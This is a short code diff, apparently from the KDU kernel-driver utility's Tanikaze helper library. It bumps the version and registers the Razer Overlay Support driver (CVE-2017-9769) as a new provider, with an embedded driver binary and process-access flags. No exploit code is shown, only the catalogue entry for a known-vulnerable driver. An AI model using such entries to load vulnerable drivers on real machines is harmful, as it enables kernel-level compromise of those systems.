#ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 146 +#define _APS_NEXT_RESOURCE_VALUE 147 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1007 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/Source/Tanikaze/resource.rc b/Source/Tanikaze/resource.rc index 8cdb414..b322bad 100644 --- a/Source/Tanikaze/resource.rc +++ b/Source/Tanikaze/resource.rc @@ -148,6 +148,8 @@ IDR_IREC RCDATA "drv\\irec.bin" IDR_PHYDMACC RCDATA "drv\\PhyDMACC.bin" +IDR_RZPNK RCDATA "drv\\rzpnk.bin" + ///////////////////////////////////////////////////////////////////////////// // diff --git a/Source/Tanikaze/tanikaze.h b/Source/Tanikaze/tanikaze.h index 2e2c252..6305e51 100644 --- a/Source/Tanikaze/tanikaze.h +++ b/Source/Tanikaze/tanikaze.h @@ -4,9 +4,9 @@ * * TITLE: CONSTS.H * -* VERSION: 1.17 +* VERSION: 1.18 * -* DATE: 16 Sep 2023 +* DATE: 21 Oct 2023 * * Tanikaze helper dll (part of KDU project). * @@ -668,6 +668,21 @@ KDU_DB_ENTRY gProvEntry[] = { (LPWSTR)L"PhyDMACC", (LPWSTR)L"PhyDMACC_1_2_0", (LPWSTR)L"Suzhou Ind. Park ShiSuanKeJi Co., Ltd." + }, + + { + KDU_MIN_NTBUILDNUMBER, + KDU_MAX_NTBUILDNUMBER, + IDR_RZPNK, + KDU_PROVIDER_RAZER, + KDU_VICTIM_DEFAULT, + SourceBaseNone, + KDUPROV_FLAGS_NO_VICTIM | KDUPROV_FLAGS_OPENPROCESS_SUPPORTED, + KDUPROV_SC_NONE, + (LPWSTR)L"Razer Overlay Support driver CVE-2017-9769", + (LPWSTR)L"rzpnk", + (LPWSTR)L"47CD78C9-64C3-47C2-B80F-677B887CF095", + (LPWSTR)L"Razer USA Ltd." } };